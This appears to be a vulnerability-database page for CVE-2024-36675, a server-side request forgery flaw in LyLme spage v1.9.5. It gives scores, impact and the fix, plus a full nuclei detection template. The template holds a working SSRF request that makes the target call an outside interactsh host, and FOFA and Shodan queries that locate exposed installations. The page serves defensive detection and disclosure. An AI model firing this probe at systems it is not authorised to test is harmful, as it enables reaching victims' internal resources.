HexBrain

Browse / CVEs / CVE-2024-36675

CVE-2024-36675· lylme / lylme spage· CWE-918

LyLme spage v1.9.5 - Server-Side Request Forgery

highseverity
9.1CVSS score
1.4%likelihood of exploitation, next 30 days
73%of all CVEs are less likely
Readycheck to confirm it

LyLme spage v1.9.5 is vulnerable to server-side request forgery (SSRF) via the url parameter in apply/index.php. An attacker can force the server to make arbitrary requests, potentially accessing internal resources.

Impact

Unauthenticated attackers can force the server to make arbitrary requests via the url parameter, potentially accessing internal resources.

Fix

Update LyLme spage to a version later than v1.9.5 that patches the SSRF vulnerability.

How to confirm it

Send: GET {{BaseURL}}/apply/index.php?url=http://{{interactsh-url}}
Positive when: status_code == 200 and contains(interactsh_protocol, "http") and contains_all(body, "title\":", "icon\":") and contains(content_type, "application/json")

Run it with nuclei: nuclei -id CVE-2024-36675 -u <target>

The full check
id: CVE-2024-36675

info:
  name: LyLme spage v1.9.5 - Server-Side Request Forgery
  author: ritikchaddha
  severity: high
  description: |
    LyLme spage v1.9.5 is vulnerable to server-side request forgery (SSRF) via the url parameter in apply/index.php. An attacker can force the server to make arbitrary requests, potentially accessing internal resources.
  impact: |
    Unauthenticated attackers can force the server to make arbitrary requests via the url parameter, potentially accessing internal resources.
  remediation: |
    Update LyLme spage to a version later than v1.9.5 that patches the SSRF vulnerability.
  reference:
    - https://github.com/Hebing123/cve/issues/44
    - https://nvd.nist.gov/vuln/detail/CVE-2024-36675
  classification:
    epss-score: 0.01438
    epss-percentile: 0.73371
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2024-36675
    cwe-id: CWE-918
    cpe: cpe:2.3:a:lylme:lylme_spage:1.9.5:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: lylme
    product: lylme_spage
    fofa-query: title="LyLme Spage"
    shodan-query: http.favicon.hash:-282504889
  tags: cve,cve2024,ssrf,lylme,spage,oast,oob,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/apply/index.php?url=http://{{interactsh-url}}"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(interactsh_protocol, "http")'
          - 'contains_all(body, "title\":", "icon\":")'
          - 'contains(content_type, "application/json")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from